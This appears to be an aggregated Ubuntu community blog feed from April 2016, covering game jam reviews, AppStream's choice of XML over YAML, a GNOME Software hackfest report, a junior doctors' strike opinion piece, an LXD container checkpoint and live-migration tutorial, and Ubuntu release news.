The description calls this “weird”, which I don’t think is fair, but it is detailed. As noted, paying attention to the manual is pretty important to work out what’s going on. Choosing the squares to move to feels unusually clumsy, by comparison with the rest of the UI which actually flows pretty well once you’ve got the hang of what you’re doing. This feels like the video equivalent of what “proper” wargames (measure the hexes, spend time with books of tables calculating precise angles and damage for mortars, etc) are to Risk, and there’s definitely an audience for that.

(also, as @phantomax says… it’s not meant to be called “intense”, is it? :))

Cat’s Trophy!

Cute but rather bare graphics. The game’s actually surprisingly hard. Instadeath for going off screen seems a bit harsh, rather than just locking the player to the screen.


I found it useful to apply a changed style to the canvas in the game: canvas { height: 60vh; } makes it much bigger and easier to see, which may help with the issue you were having with the HTML viewport.


Interesting idea. It’s really, really difficult though; maybe start slower and speed up over time? Otherwise it leads less to attempts to do better and more to just table-flipping annoyance and a move on to another game :)

Mini Prix

Ninth out of nine, but this was good fun!

Zerwol the Wizard

I don’t have any very clear idea of what I’m meant to do — just wander around and kill everything?


The music kept making me think it was going to be the Game of Thrones theme :)

Of A Forgotten Earth

Hard to see what’s going on when most of the screen is obscured (although maybe that’s the point). The cutscene at the beginning is interesting the first time through the game but has to be manually skipped through every time you die, which is rather frustrating.

Air War 64x64

Looks really good! but it’s sometimes hard to see exactly where the Red Baron is when he’s just three or four red pixels :) Also, it’s a little hard to tell whether I won or lost when we end up flying directly at one another firing. (Perhaps it’s just that I’ve never won and so I’ve never seen a win screen!)

Cave 64

Basic graphics, but has potential to be developed into something!

Battle Box (LowRezJam)

I’m not sure I wholly understand what I’m doing, here. I can roll around, shoot white blocks (which moves them), and shoot the enemy (which moves them but doesn’t kill them, to my surprise), but… then what? I like the conceit of the rolling cube which fires in a particular direction, much like a bunch of single-player puzzles of this kind. The time limit on a move makes it all feel rather rushed, which is a little unfortunate because it makes the game feel like a very low rez arena deathmatch, rather than like a carefully thought-out chess game.

Endless Burger

I wish there were some sound in this. That the merest touch of a burger bap on my mostly-complete burger counts as instadeath means that I end up playing the game by merely fleeing from burger tops like a gluten-free lunatic with a flour phobia, but that’s perhaps part of the skill of the game.But without sound, it feels half-finished. This wouldn’t take much to be turned into a really challenging game, I think!


Sadly, the “up” and “down” abilities didn’t seem to work for me, so all I could seem to do is walk off the edge into the first water pool and die. Maybe there’s something I missed, but a little tutorial level might have helped if there’s an action I didn’t know to do. Nice graphics and feel.

Total Devotion

This is alarmingly creepy. It also shamelessly violates the 64x64 pixel grid :)

Forms II : Hero Of the Office

An interesting concept. After the first day, the screen went red and I didn’t seem to be able to do anything else, sadly. I like the graphical approach and the idea behind it, though!


Took me some time to realise that collisions with (a) the rocks you’re trying to mine and (b) the bottom of the tractor beam (?) are fatal and I’m supposed to avoid that. Once I’d got it, there is potential here; it’s Thrust, but with the added attraction that the rock follows you around and you mustn’t collide with it. Obviously it’s just a prototype and therefore doesn’t have music or backstory or anything, but I think this could be quite entertaining once it becomes a game!

Big Sword

Nice feel, especially the squelch on hitting something. It does lend itself a bit to button mashing, but that’s part of the old-school fun :)


I don’t think I’d eat a burger which had a burger bun, a slice of lettuce, another slice of lettuce, and two more burger buns. Might be a bit bland :) That aside, the game takes real advantage of its low resolution and is rather fun! The logo’s delightful, too. It’s a little hard in initial play, perhaps; softening the difficulty curve just a tiny bit might be useful, so people can get beyond about two burgers without having to be the Flash. I suspect this might be easier with a touchscreen…

Bring Your Wedge

Yay! 64 points! I still don’t think I’ve quite grasped what the perfect tempo is, but I like the game a lot; quite a compelling challenge, and getting a hole in one is lovely :)


Surprisingly difficult for such a simple game mechanic! It would be worth cancelling the keypresses after you’ve trapped them, so that up/down arrows don’t navigate up and down the page.

Looping Zip

Simple gameplay and easy to grasp, but rather hard to master! It may be worth prohibiting space bar presses from changing direction if they’re pressed after the game has “started” but before the ship has actually started moving, because a few times I hit space to start when I thought my previous press hadn’t been registered, only to discover that it had been registered but the ship is slow to get started.


Needs, I think, a little tutorial bit or similar to explain the mechanics? I managed to have two of my shapes completely disappear but I don’t know whether that was a good thing or a bad…

A Leader

Hard to work out what to do to pick up people and avoid losing them; it feels like this might be a good twitch game, or a good puzzle game, but trying to solve the puzzle of how to bypass each impediment and pick up each person while also trying to manage the twitch element of doing it all at the right time is overwhelming my poor brain…


The controls are… a bit difficult to get one’s head around, but once mastered they’re OK. That you can’t stop on a wall (you can either climb or slide, but not stay still) is a touch weird, but getting to grips with that is the required skill, perhaps. The music is a cool track but maybe a bit overdramatic for the actual gameplay. This is the kernel of a good idea, I think; could be good with work.


Nicely done. Feels very old-school, in a good way; I can absolutely imagine this being a released game back in the day.


Was driven nuts by the lack of friction on the platforms, at which I’m sure the author was cackling and rubbing their hands in glee because that’s the point. Having a computer enemy would be good for practice, although I fell off enough all by myself…


Delightful graphics; the limited palette really helps! Sailing around does feel a bit aimless, especially since I don’t seem to be able to re-visit an island where I died (does it sink back into the sea when the crabs make a kill or something?). Once I’d worked out that the combat relied on me hitting the arrow keys in time with those on screen rather than just as fast as possible, I never lost another battle, so that was nice :)

Dual Wielded

Flinging myself around by firing guns is interesting; reminds me of the XKCD What If article about flying by building a platform of AK-47s! Nice low-res graphics, too, and choice of protagonist.


Nice effects on the title screen. Game seems smooth but occasionally the framerate drops. I killed a monster but then wasn’t sure what to do; shooting the “cells” seems to make them react, but they don’t die, and shooting the big “cell” in the middle makes the screen flash and we get a “gasp!” sound effect but that doesn’t die either.

The Legend of Fangury

Classic, indeed, but well implemented. I particularly appreciate that inadvertently touching an enemy is not instadeath! I do occasionally find myself leaping a bit into the unknown because it’s hard to see what’s coming up, but perhaps that’s a feature rather than a bug.


I think this is hurt by the 64x64 limitation; it feels like I’m frantically moving my tiny letterbox around the map searching for a flower under attack as pointed to by the indicators. Of course, that’s part of the game, but it’s probably a bit far over the frustrating-vs-fun line for me. I also spent almost the whole first playthrough thinking that the little darker green “grass” things were flowers and failing to understand why nothing worked :) The swarming effect is really nice!


Avoiding things is really, really hard. Not, like, “I must get expertise” hard, but “solid wall of unavoidable rocks” hard. I like the slightly drifty slow uncontrollable nature of the astronaut, which fits with the low-gravity backstory, but combining that with the sheer volume of rocks makes survival pretty much impossible…

Potion Guesser

It’s very hard to know which ingredient is currently selected, and it’s possible to select the “right arrow” even when you’re at the end of the list, meaning that I spent half the time baffled that mouse clicks weren’t doing anything. Other than that, the UI seems quite smooth and nice. The game’s a lot harder because you can’t use the same ingredient twice! I expected the “troll’s eye” to do something special because I was especially given it in the opening cutscene, but maybe that’s just misinterpretation.

Pixel Eater

Obviously very minimal in graphics (and no sound at all), but the idea is reasonable. Interestingly, I expected red berries to be an instakill and was pleased to see that they drop you a size category instead. The game is very easy, though; I won on the second and all subsequent tries :-)


Agreed with other comments; I don’t get the rules. I don’t see what FRIENDS? or SPACE actually mean. Possibly the whole game is to work that out, but the hurdle makes me turn away rather than puzzle to figure it out :(


(no sound, though?) Obviously unfinished, as mentioned in the description. That said, I like that the jumps are absurdly high by comparison with other platforms (and in addition to this absurdly high jump we have a double jump which is doubly absurdly high); it changse the way I think about the game a surprising amount for such a nominally small change. Being followed about by the nasty things with red eyes and being unable to shake them off is also an interesting mechanic, and I like their hammers. As noted, the space-to-“attack” thing doesn’t actually do anything other than draw a dotted circle around me and freeze the game, so i suspect that’s not yet implemented. But there’s the core of a good thing here; interesting graphics, interesting divergence from standard platforming rules with the high jump, and I’d like to see more.

And the game I thought was best…

Slumber Knight

Great fun game; graphics are well done, sound matched, good feel to the game. Nice one! Full marks.

I really liked Slumber Knight. Delightful graphics and feel. I confessed to the developer on Twitter that I ended up hacking the game a bit so I could see how it ended, by making myself immune to collisions, but that’s not a bad thing about the game, it’s a bad thing about my impatience. It’s excellent work.

And… what I did

I did, of course, enter a game myself. It’s called “Have You Seen This Image?“, and you can play it. It was deliberately simple — I didn’t want to devote much time to writing it — but I really enjoyed the experience of building a complete game, releasing it, and seeing people rate it. A pretty common theme in the comments was that it doesn’t _quite_ explain exactly what you need to do, but I think everybody gets it after one playthrough, and playthroughs are very quick indeed. (I put some effort into making sure that you can start again without having to wait as soon as you die.) The juxtaposition of the abusive failure messages with the marvellously jaunty music still makes me laugh every time I play it. (The music is Pixelland from the incomparable Kevin MacLeod.) Images were from Wikipedia; after some help from the #wikimedia-tech IRC channel, I discovered Quarry which allows you to run arbitrary SQL queries against the Wikimedia databases from inside the browser, and is a very excellent thing indeed. So I wrote a query to return all 64x64 images from Wikimedia Commons and then picked a bunch of them. In order to make the game more difficult, I then made three copies of each image, tinted blue, red, and green respectively, so you’d see images that you might have seen before but in different colours. And that was that. There’s a bug in there somewhere which causes two success sounds to play at once (so you get the game saying “Awesome!” _and_ “Fantastic!” when you get it right sometimes), but after trying and failing to work out why, I’ve reclassified it as a feature because it amuses me to hear the sounds anyway. So, conclusion: writing a game is fun; hanging out with the game jam community is fun; thank you to popey for nudging me into doing it; and I came 72nd for game feel, which I am perfectly happy with. Must do this again at some point.

on April 26, 2016 05:12 PM

This is a question raised quite quite often, the last time in a blogpost by Thomas, so I thought it is a good idea to give a slightly longer explanation (and also create an article to link to…).

There are basically three reasons for using XML as the default format for metainfo files:

1. XML is easily forward/backward compatible, while YAML is not

This is a matter of extending the AppStream metainfo files with new entries, or adapt existing entries to new needs.

Take this example XML line for defining an icon for an application:

<icon type="cached">foobar.png</icon>

and now the equivalent YAML:

  cached: foobar.png

Now consider we want to add a width and height property to the icons, because we started to allow more than one icon size. Easy for the XML:

<icon type="cached" width="128" height="128">foobar.png</icon>

This line of XML can be read correctly by both old parsers, which will just see the icon as before without reading the size information, and new parsers, which can make use of the additional information if they want. The change is both forward and backward compatible.

This looks differently with the YAML file. The “foobar.png” is a string-type, and parsers will expect a string as value for the cached key, while we would need a dictionary there to include the additional width/height information:

  cached: name: foobar.png
          width: 128
          height: 128

The change shown above will break existing parsers though. Of course, we could add a cached2 key, but that would require people to write two entries, to keep compatibility with older parsers:

  cached: foobar.png
  cached2: name: foobar.png
          width: 128
          height: 128

Less than ideal.

While there are ways to break compatibility in XML documents too, as well as ways to design YAML documents in a way which minimizes the risk of breaking compatibility later, keeping the format future-proof is far easier with XML compared to YAML (and sometimes simply not possible with YAML documents). This makes XML a good choice for this usecase, since we can not do transitions with thousands of independent upstream projects easily, and need to care about backwards compatibility.

2. Translating YAML is not much fun

A property of AppStream metainfo files is that they can be easily translated into multiple languages. For that, tools like intltool and itstool exist to aid with translating XML using Gettext files. This can be done at project build-time, keeping a clean, minimal XML file, or before, storing the translated strings directly in the XML document. Generally, YAML files can be translated too. Take the following example (shamelessly copied from Dolphin):

<summary>File Manager</summary>
<summary xml:lang="bs">Upravitelj datoteka</summary>
<summary xml:lang="cs">Správce souborů</summary>
<summary xml:lang="da">Filhåndtering</summary>

This would become something like this in YAML:

  C: File Manager
  bs: Upravitelj datoteka
  cs: Správce souborů
  da: Filhåndtering

Looks manageable, right? Now, AppStream also covers long descriptions, where individual paragraphs can be translated by the translators. This looks like this in XML:

  <p>Dolphin is a lightweight file manager. It has been designed with ease of use and simplicity in mind, while still allowing flexibility and customisation. This means that you can do your file management exactly the way you want to do it.</p>
  <p xml:lang="de">Dolphin ist ein schlankes Programm zur Dateiverwaltung. Es wurde mit dem Ziel entwickelt, einfach in der Anwendung, dabei aber auch flexibel und anpassungsfähig zu sein. Sie können daher Ihre Dateiverwaltungsaufgaben genau nach Ihren Bedürfnissen ausführen.</p>
  <p xml:lang="de">Funktionen:</p>
  <p xml:lang="es">Características:</p>
    <li>Navigation (or breadcrumb) bar for URLs, allowing you to quickly navigate through the hierarchy of files and folders.</li>
    <li xml:lang="de">Navigationsleiste für Adressen (auch editierbar), mit der Sie schnell durch die Hierarchie der Dateien und Ordner navigieren können.</li>
    <li xml:lang="es">barra de navegación (o de ruta completa) para URL que permite navegar rápidamente a través de la jerarquía de archivos y carpetas.</li>
    <li>Supports several different kinds of view styles and properties and allows you to configure the view exactly how you want it.</li>

Now, how would you represent this in YAML? Since we need to preserve the paragraph and enumeration markup somehow, and creating a large chain of YAML dictionaries is not really a sane option, the only choices would be:

  • Embed the HTML markup in the file, and risk non-careful translators breaking the markup by e.g. not closing tags.
  • Use Markdown, and risk people not writing the markup correctly when translating a really long string in Gettext.

In both cases, we would loose the ability to translate individual paragraphs, which also means that as soon as the developer changes the original text in YAML, translators would need to translate the whole bunch again, which is inconvenient.

On top of that, there are no tools to translate YAML properly that I am aware of, so we would need to write those too.

3. Allowing XML and YAML makes a confusing story and adds complexity

While adding YAML as a format would not be too hard, given that we already support it for DEP-11 distro metadata (Debian uses this), it would make the business of creating metainfo files more confusing. At time, we have a clear story: Write the XML, store it in /usr/share/metainfo, use standard tools to translate the translatable entries. Adding YAML to the mix adds an additional choice that needs to be supported for eternity and also has the problems mentioned above.

I wanted to add YAML as format for AppStream, and we discussed this at the hackfest as well, but in the end I think it isn’t worth the pain of supporting it for upstream projects (remember, someone needs to maintain the parsers and specification too and keep XML and YAML in sync and updated). Don’t get me wrong, I love YAML, but for translated metadata which needs a guarantee on format stability it is not the ideal choice.

So yeah, XML isn’t fun to write by hand. But for this case, XML is a good choice.

on April 26, 2016 04:20 PM


It’s arrived! Samsung’s big yearly developer event kicks off from April 27th – 28th in SF. A place where developers, creators and builders alike come together to discuss the latest technologies and future innovations.

This year, IOT will be one of the big focuses, especially around smart home and ARTIK – their new chipset for IOT. We’ll be there presenting via our developer evangelist – Didier – who’ll be showcasing a demo, plus a mention by ARTIK’s head of division within his talk.

Our demo will be an app enabled home gateway on which we can deploy several applications. We’ll show you how your smart home could interact with a home robot to serve you. The robot will use the camera you have in the house to recognise that you’ve arrived, then use a microphone in the house to take orders from you (!)

There are also other apps that can be deployed on the home gateway too, including an access point (home wifi), video service, local communication server (imagine a Skype or google hangout where data stays in your home), home automation etc. to name a few.

In the build-up to the event we’ve written a few pre-event blogs on their website, including this one here!

on April 26, 2016 03:45 PM

My better half is a junior doctor. She works insanely long hours and cares completely for her patients. When you can see how much it costs somebody as conscientious as she is to walk out on strike, it's all the more frustrating that press coverage so spotty, confusing and often insulting.

The underlying issue is so simple: There aren't enough doctors.

Ignore everything you've been told. The situation in the NHS is simple to explain:

  • Doctors are a finite resource. We have 55,000 doctors in training in the NHS in England.
  • These 55,000 only barely cover existing shifts for full service regular 9-5ish Monday to Friday and emergency care 24/7. In many smaller hospitals there are already dangerous rota gaps from understaffing, but they just scrape by.

The contract being imposed in August —the one doctors are striking against— was designed to make it affordable and legally possible for hospitals to spread these 55,000 doctors from 5 days full service, to 7 days full service.

You can't safely do 7 days work with 5 days people.

The Government's maths to make this "work": you take some doctors from midweek and move them to the weekend. That's what this contract allows, one way or the other. Fewer doctors in the week, and dangerously long shifts to cover the existing workload with fewer concurrent staff.

And that isn't safe. The level of cover in some places is already dangerous. You can't spread doctors any thinner and expect anything but a diminished service. The NHS needs more doctors, not the same number spread over more days. And that's the only thing you need to consider when you're wondering why doctors are striking and whose fault that is.

That's not to say that there aren't also other issues here. There are and they are significant but all of that can be boiled into the same argument. The NHS is already haemorrhaging doctors to countries with better working conditions and the cost to become a doctor here is huge. While we need the number of 55,000 junior doctors to grow substantially, everything about this contract and the treatment of existing doctors up to now will mean it likely shrinks away.

I don't want to conflate the issue. Your doctors aren't striking over a 30% pay cut or additional weekends they'll be pulled in for, they're striking because they're being told that starting August they will be doing unsafe amount of work with a unsafe number of doctors. The rest is just distracting gravy.

This contract is dangerous to patients, present and future. It must be resisted.

on April 26, 2016 03:18 PM

Forum Staff Additions

Forums Council

A healthy team is able to renew itself and integrate new members. It is always a refreshing and exciting process, to look for new people to add to a team.

The following Ubuntu Forums users have accepted to be part of the Staff team, which now consists of 21 Moderators, 3 Super-Moderators and 4 Admins. In addition, 4 forums users have Moderator status in a specific sub-forum (UWN, Catalan and Argentina LoCo teams forums we host). You can find a complete list of the forums leaders here.

The new Forums Moderators are :

Congratulations from the Ubuntu Forums Council.

on April 26, 2016 03:02 PM


Rhonda D'Vine

Last week we lost another great musician, song writer, artist. It's painful to realise that more and more of the people you grew up with aren't there anymore. We lost Prince, TAFKAP, Symbol, Prince. He wrote a lot of great music, even some you wouldn't attribute to him, like Sinead O'Connor's Nothing Compares To You, Bangles' Manic Monday or Chaka Khan's I Feel For You. But I actually would like to share some songs that are also performed by himself, so without further ado here are the songs:

Rest in peace, Prince. And you, enjoy.

/music | permanent link | Comments: 0 | Flattr this

on April 26, 2016 12:32 PM

Ubuntu orange update

Canonical Design Team

Recently, you may have seen our new colour palette update in the SDK. One notable change is the new hex code we’ve assigned to Ubuntu Orange for screen use. The new colour is #E95420.

We have a post coming soon that will delve deeper into our new palette but for now we just wanted to make sure this change is reflected on our website while at the same time touching on it through our blog. Our Suru visual language has evolved to have a lighter feel and we’ve adjusted the hex value in order to fit in with the palette as a whole.

We’ve updated our brand colour guidelines to take into account this change as well. You can find the new hex as well as all the tints of this colour that we recommend using in your design work.

on April 26, 2016 11:27 AM

Two weeks ago was the GNOME Software hackfest in London, and I’ve been there! And I just now found the time to blog about it, but better do it late than never 😉 .

Arriving in London and finding the Red Hat offices

After being stuck in trains for the weekend, but fortunately arriving at the airport in time, I finally made it to London with quite some delay due to the slow bus transfer from Stansted Airport. After finding the hotel, the next issue was to get food and a place which accepted my credit card, which was surprisingly hard – in defence of London I must say though, that it was a Sunday, 7 p.m. and my card is somewhat special (in Canada, it managed to crash some card readers, so they needed a hard-reset). While searching for food, I also found the Red Hat offices where the hackfest was starting the next day by accident. My hotel, the office and the tower bridge were really close, which was awesome! I have been to London in 2008 the last time, and only for a day, so being that close to the city center was great. The hackfest didn’t leave any time to visit the city much, but by being close to the center, one could hardly avoid the “London experience” 😉 .

Cool people working on great stuff

towerbridge2016That’s basically the summary for the hackfest 😉 . It was awesome to meet with Richard Hughes again, since we haven’t seen each other in person since 2011, but work on lots of stuff together. This was especially important, since we managed to solve quite some disagreements we had over stuff – Richard even almost managed to make me give in to adding <kudos/> to the AppStream spec, something which I was pretty against supporting (it didn’t make it yet, but I am no longer against the idea of having that – the remaining issues are solvable).

Meeting Iain Lane again (after FOSDEM) was also very nice, and also seeing other people I’ve only worked with over IRC or bug reports (e.g. William, Kalev, …) was great. Also lots of “new” people were there, like guys from Endless, who build their low-budget computer for developing/emerging countries on top of GNOME and Linux technologies. It’s pretty cool stuff they do, you should check out their website! (they also build their distribution on top of Debian, which is even more awesome, and something I didn’t know before (because many Endless people I met before were associated with GNOME or Fedora, I kind of implicitly assumed the system was based on Fedora 😛 )).

The incarnation of GNOME Software used by endless looks pretty different from what the normal GNOME user sees, since it’s adjusted for a different audience and input method. But it looks great, and is a good example for how versatile GS already is! And for upstream GNOME, we’ve seen some pretty great mockups done by Endless too – I hope those will make it into production somehow.

Ironically, a "snapstore" was close to the office ;-)

Ironically, a “snapstore” was close to the office ;-)

XdgApp and sandboxing of apps was also a big topic, aside from Ubuntu and Endless integration. Fortunately, Alexander Larsson was also there to answer all the sandboxing and XdgApp-questions.

I used the time to follow up on a conversation with Alexander we started at FOSDEM this year, about the Limba vs. XdgApp bundling issue. While we are in-line on the sandboxing approach, the way how software is distributed is implemented differently in Limba and XdgApp, and it is bad to have too many bundling systems around (doesn’t make for a good story where we can just tell developers “ship as this bundling format, and it will be supported everywhere”). Talking with Alex about this was very nice, and I think there is a way out of the too-many-solutions dilemma, at least for Limba and XdgApp – I will blog about that separately soon.

On the Ubuntu side, a lot of bugs and issues were squashed and changes upstreamed to GNOME, and people were generally doing their best to reduce Richard’s bus-factor on the project a little 😉 .

I mainly worked on AppStream issues, finishing up the last pieces of appstream-generator and running it against some sample package sets (and later that week against the whole Debian archive). I also started to implement support for showing AppStream issues in the Debian PTS (this work is not finished yet). I also managed to solve a few bugs in the old DEP-11 generator and prepare another release for Ubuntu.

We also enjoyed some good Japanese food, and some incredibly great, but also suddenly very expensive Indian food (but that’s a different story 😉 ).

The most important thing for me though was to get together with people actually using AppStream metadata in software centers and also more specialized places. This yielded some useful findings, e.g. that localized screenshots are not something weird, but actually a wanted feature of Endless for their curated AppStore. So localized screenshots will be part of the next AppStream spec. Also, there seems to be a general need to ship curation information for software centers somehow (which apps are featured? how are they styled? added special banners for some featured apps, “app of the day” features, etc.). This problem hasn’t been solved, since it’s highly implementation-specific, and AppStream should be distro-agnostic. But it is something we might be able to address in a generic way sooner or later (I need to talk to people at KDE and Elementary about it).

In summary…

It was a great event! Going to conferences and hackfests always makes me feel like it moves projects leaps ahead, even if you do little coding. Sorting out issues together with people you see in person (rather than communicating with them via text messages or video chat), is IMHO always the most productive way to move forward (yeah, unless you do this every week, but I think you get my point 😀 ).

For me, being the only (and youngest ^^) developer at the hackfest who was not employed by any company in the FLOSS business, the hackfest was also motivating to continue to invest spare time into working on these projects.

So, the only thing left to do is a huge shout out of “THANK YOU” to the Ubuntu Community Fund – and therefore the Ubuntu community – for sponsoring me! You rock! Also huge thanks to Canonical for organizing the sponsoring really quickly, so I didn’t get into trouble with paying my flights.

Laney and attente walking on the Millennium Bridge after we walked the distance between Red Hat and Canonical's offices.

Laney and attente on the Millennium Bridge after we walked the distance between Red Hat and Canonical’s offices.

To worried KDE people: No, I didn’t leave the blue side – I just generally work on cross-desktop stuff, and would like all desktops to work as well as possible 😉

on April 26, 2016 07:50 AM

Keep OpenStack Weird

Dustin Kirkland

The OpenStack Summit in Austin has already kicked off, and this time, Ubuntu is the official lanyard sponsor at OpenStack Summit Austin.

The sponsorship contract for the OpenStack Summit explicitly states that only the official lanyard sponsor may distribute lanyards. Whilst we understand the reason that clause is there, we don't agree with it. It just doesn't seem very "open" nor in the spirit of OpenStack.

Freedom of choice is an important aspect of all open source communities and one that we certainly champion, so attendees should be free to wear whatever branded lanyard they want with pride at the OpenStack Summit in Austin and we at Canonical will celebrate it.  My hometown here, Austin, prides itself on diversity, where we like to Keep Austin Weird!

So please -- partners, customers, competitors, other OpenStack Sponsors: if you want to distribute your own lanyards then please go ahead safe in the knowledge that Canonical will not complain to the conference organizers.  Let's Keep OpenStack (a little bit) Weird, too!

See you there!
on April 26, 2016 04:39 AM

April 25, 2016

Welcome to the Ubuntu Weekly Newsletter. This is issue #463 for the week April 18 – 24, 2016, and the full version is available here.

In this issue we cover:

The issue of The Ubuntu Weekly Newsletter is brought to you by:

  • Elizabeth K. Joseph
  • Simon Quigley
  • Chris Guiver
  • Chris Sirrs
  • And many others

If you have a story idea for the Weekly Newsletter, join the Ubuntu News Team mailing list and submit it. Ideas can also be added to the wiki!

Except where otherwise noted, content in this issue is licensed under a Creative Commons Attribution 3.0 License BY SA Creative Commons License

on April 25, 2016 11:40 PM

This is the ninth blog post in this series about LXD 2.0.

LXD logo


One of the very exciting feature of LXD 2.0, albeit experimental, is the support for container checkpoint and restore.

Simply put, checkpoint/restore means that the running container state can be serialized down to disk and then restored, either on the same host as a stateful snapshot of the container or on another host which equates to live migration.


To have access to container live migration and stateful snapshots, you need the following:

  • A very recent Linux kernel, 4.4 or higher.
  • CRIU 2.0, possibly with some cherry-picked commits depending on your exact kernel configuration.
  • Run LXD directly on the host. It’s not possible to use those features with container nesting.
  • For migration, the target machine must at least implement the instruction set of the source, the target kernel must at least offer the same syscalls as the source and any kernel filesystem which was mounted on the source must also be mountable on the target.

All the needed dependencies are provided by Ubuntu 16.04 LTS, in which case, all you need to do is install CRIU itself:

apt install criu

Using the thing

Stateful snapshots

A normal container snapshot looks like:

stgraber@dakara:~$ lxc snapshot c1 first
stgraber@dakara:~$ lxc info c1 | grep first
 first (taken at 2016/04/25 19:35 UTC) (stateless)

A stateful snapshot instead looks like:

stgraber@dakara:~$ lxc snapshot c1 second --stateful
stgraber@dakara:~$ lxc info c1 | grep second
 second (taken at 2016/04/25 19:36 UTC) (stateful)

This means that all the container runtime state was serialized to disk and included as part of the snapshot. Restoring one such snapshot is done as you would a stateless one:

stgraber@dakara:~$ lxc restore c1 second

Stateful stop/start

Say you want to reboot your server for a kernel update or similar maintenance. Rather than have to wait for all the containers to start from scratch after reboot, you can do:

stgraber@dakara:~$ lxc stop c1 --stateful

The container state will be written to disk and then picked up the next time you start it.

You can even look at what the state looks like:

root@dakara:~# tree /var/lib/lxd/containers/c1/rootfs/state/
├── cgroup.img
├── core-101.img
├── core-102.img
├── core-107.img
├── core-108.img
├── core-109.img
├── core-113.img
├── core-114.img
├── core-122.img
├── core-125.img
├── core-126.img
├── core-127.img
├── core-183.img
├── core-1.img
├── core-245.img
├── core-246.img
├── core-50.img
├── core-52.img
├── core-95.img
├── core-96.img
├── core-97.img
├── core-98.img
├── dump.log
├── eventfd.img
├── eventpoll.img
├── fdinfo-10.img
├── fdinfo-11.img
├── fdinfo-12.img
├── fdinfo-13.img
├── fdinfo-14.img
├── fdinfo-2.img
├── fdinfo-3.img
├── fdinfo-4.img
├── fdinfo-5.img
├── fdinfo-6.img
├── fdinfo-7.img
├── fdinfo-8.img
├── fdinfo-9.img
├── fifo-data.img
├── fifo.img
├── filelocks.img
├── fs-101.img
├── fs-113.img
├── fs-122.img
├── fs-183.img
├── fs-1.img
├── fs-245.img
├── fs-246.img
├── fs-50.img
├── fs-52.img
├── fs-95.img
├── fs-96.img
├── fs-97.img
├── fs-98.img
├── ids-101.img
├── ids-113.img
├── ids-122.img
├── ids-183.img
├── ids-1.img
├── ids-245.img
├── ids-246.img
├── ids-50.img
├── ids-52.img
├── ids-95.img
├── ids-96.img
├── ids-97.img
├── ids-98.img
├── ifaddr-9.img
├── inetsk.img
├── inotify.img
├── inventory.img
├── ip6tables-9.img
├── ipcns-var-10.img
├── iptables-9.img
├── mm-101.img
├── mm-113.img
├── mm-122.img
├── mm-183.img
├── mm-1.img
├── mm-245.img
├── mm-246.img
├── mm-50.img
├── mm-52.img
├── mm-95.img
├── mm-96.img
├── mm-97.img
├── mm-98.img
├── mountpoints-12.img
├── netdev-9.img
├── netlinksk.img
├── netns-9.img
├── netns-ct-9.img
├── netns-exp-9.img
├── packetsk.img
├── pagemap-101.img
├── pagemap-113.img
├── pagemap-122.img
├── pagemap-183.img
├── pagemap-1.img
├── pagemap-245.img
├── pagemap-246.img
├── pagemap-50.img
├── pagemap-52.img
├── pagemap-95.img
├── pagemap-96.img
├── pagemap-97.img
├── pagemap-98.img
├── pages-10.img
├── pages-11.img
├── pages-12.img
├── pages-13.img
├── pages-1.img
├── pages-2.img
├── pages-3.img
├── pages-4.img
├── pages-5.img
├── pages-6.img
├── pages-7.img
├── pages-8.img
├── pages-9.img
├── pipes-data.img
├── pipes.img
├── pstree.img
├── reg-files.img
├── remap-fpath.img
├── route6-9.img
├── route-9.img
├── rule-9.img
├── seccomp.img
├── sigacts-101.img
├── sigacts-113.img
├── sigacts-122.img
├── sigacts-183.img
├── sigacts-1.img
├── sigacts-245.img
├── sigacts-246.img
├── sigacts-50.img
├── sigacts-52.img
├── sigacts-95.img
├── sigacts-96.img
├── sigacts-97.img
├── sigacts-98.img
├── signalfd.img
├── stats-dump
├── timerfd.img
├── tmpfs-dev-104.tar.gz.img
├── tmpfs-dev-109.tar.gz.img
├── tmpfs-dev-110.tar.gz.img
├── tmpfs-dev-112.tar.gz.img
├── tmpfs-dev-114.tar.gz.img
├── unixsk.img
├── userns-13.img
└── utsns-11.img

0 directories, 154 files

Restoring the container can be done with a simple:

stgraber@dakara:~$ lxc start c1

Live migration

Live migration is basically the same as the stateful stop/start above, except that the container directory and configuration happens to be moved to another machine too.

stgraber@dakara:~$ lxc list c1
| NAME |  STATE  |          IPV4         |                     IPV6                     |    TYPE    | SNAPSHOTS |
| c1   | RUNNING | (eth0) | 2001:470:b368:4242:216:3eff:fe19:27b0 (eth0) | PERSISTENT | 2         |

stgraber@dakara:~$ lxc list s-tollana:

stgraber@dakara:~$ lxc move c1 s-tollana:

stgraber@dakara:~$ lxc list c1

stgraber@dakara:~$ lxc list s-tollana:
| NAME |  STATE  |          IPV4         |                     IPV6                     |    TYPE    | SNAPSHOTS |
| c1   | RUNNING | (eth0) | 2001:470:b368:4242:216:3eff:fe19:27b0 (eth0) | PERSISTENT | 2         |


As I said before, checkpoint/restore of containers is still pretty new and we’re still very much working on this feature, fixing issues as we are made aware of them. We do need more people trying this feature and sending us feedback, I would however not recommend using this in production just yet.

The current list of issues we’re tracking is available on Launchpad.

We expect a basic Ubuntu container with a few services to work properly with CRIU in Ubuntu 16.04. However more complex containers, using device passthrough, complex network services or special storage configurations are likely to fail.

Whenever possible, CRIU will fail at dump time, rather than at restore time. In such cases, the source container will keep running, the snapshot or migration will simply fail and a log file will be generated for debugging.

In rare cases, CRIU fails to restore the container, in which case the source container will still be around but will be stopped and will have to be manually restarted.

Sending bug reports

We’re tracking bugs related to checkpoint/restore against the CRIU Ubuntu package on Launchpad. Most of the work to fix those bugs will then happen upstream either on CRIU itself or the Linux kernel, but it’s easier for us to track things this way.

To file a new bug report, head here.

Please make sure to include:

  • The command you ran and the error message as displayed to you
  • Output of “lxc info” (*)
  • Output of “lxc info <container name>”
  • Output of “lxc config show –expanded <container name>”
  • Output of “dmesg” (*)
  • Output of “/proc/self/mountinfo” (*)
  • Output of “lxc exec <container name> — cat /proc/self/mountinfo”
  • Output of “uname -a” (*)
  • The content of /var/log/lxd.log (*)
  • The content of /etc/default/lxd-bridge (*)
  • A tarball of /var/log/lxd/<container name>/ (*)

If reporting a migration bug as opposed to a stateful snapshot or stateful stop bug, please include the data for both the source and target for any of the above which has been marked with a (*).

Extra information

The CRIU website can be found at:

The main LXD website is at:
Development happens on Github at:
Mailing-list support happens on:
IRC support happens in: #lxcontainers on
Try LXD online:

on April 25, 2016 08:25 PM


The brave fearless volunteers behind Ubuntu GNOME are very happy to announce
the official release of Ubuntu GNOME 16.04 LTS supported for 3 years and
this is our 2nd official Long Term Support (LTS) version.

Before you upgrade or download, kindly make sure to read:

You may want to download from:

We highly suggest to download via torrent.

